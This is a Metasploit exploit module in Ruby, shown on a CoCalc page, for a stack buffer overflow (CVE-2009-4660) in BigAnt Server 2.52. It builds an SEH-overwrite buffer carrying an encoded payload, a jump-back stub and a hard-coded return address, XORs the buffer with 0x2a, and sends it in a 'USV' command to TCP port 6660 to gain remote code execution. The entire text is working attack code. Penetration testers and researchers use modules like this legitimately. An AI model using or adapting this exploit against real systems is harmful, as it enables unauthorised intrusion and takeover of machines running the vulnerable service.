CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'BigAnt Server 2.52 USV Buffer Overflow',
15
      'Description'    => %q{
16
        This exploits a stack buffer overflow in the BigAnt Messaging Service,
17
        part of the BigAnt Server product suite. This module was tested
18
        successfully against version 2.52.
19

20
        NOTE: The AntServer service does not restart, you only get one shot.
21
      },
22
      'Author' 	 =>
23
        [
24
          'Lincoln',
25
          'DouBle_Zer0',
26
          'jduck'
27
        ],
28
      'License'        => MSF_LICENSE,
29
      'References'     =>
30
        [
31
          [ 'CVE', '2009-4660' ],
32
          [ 'OSVDB', '61386' ],
33
          [ 'EDB', '10765' ],
34
          [ 'EDB', '10973' ]
35
        ],
36
      'Privileged'     => true,
37
      'DefaultOptions' =>
38
        {
39
          'EXITFUNC' => 'seh',
40
        },
41
      'Payload'        =>
42
        {
43
          'Space'    => (218+709+35),
44
          'BadChars' => "\x2a\x20\x27\x0a\x0f",
45
          # pre-xor with 0x2a:
46
          #'BadChars' => "\x00\x0a\x0d\x20\x25",
47
          'StackAdjustment' => -3500,
48
        },
49
      'Platform'       => 'win',
50
      'Targets'        =>
51
        [
52
          [ 'BigAnt 2.52 Universal', { 'Ret' => 0x1b019fd6 } ], # Tested OK (jduck) p/p/r msjet40.dll xpsp3
53
        ],
54
      'DefaultTarget' => 0,
55
      'DisclosureDate' => '2009-12-29'))
56

57
      register_options([Opt::RPORT(6660)])
58
  end
59

60
  def exploit
61
    connect
62

63
    sploit = ""
64
    sploit << payload.encoded
65
    sploit << generate_seh_record(target.ret)
66
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + payload_space.to_s).encode_string
67
    sploit << rand_text_alphanumeric(3)
68
    sploit << [0xdeadbeef].pack('V') * 3
69

70
    # the buffer gets xor'd with 0x2a !
71
    sploit = sploit.unpack("C*").map{|c| c ^ 0x2a}.pack("C*")
72

73
    print_status("Trying target #{target.name}...")
74
    sock.put("USV " + sploit + "\r\n\r\n")
75

76
    handler
77
    disconnect
78
  end
79
end
80

81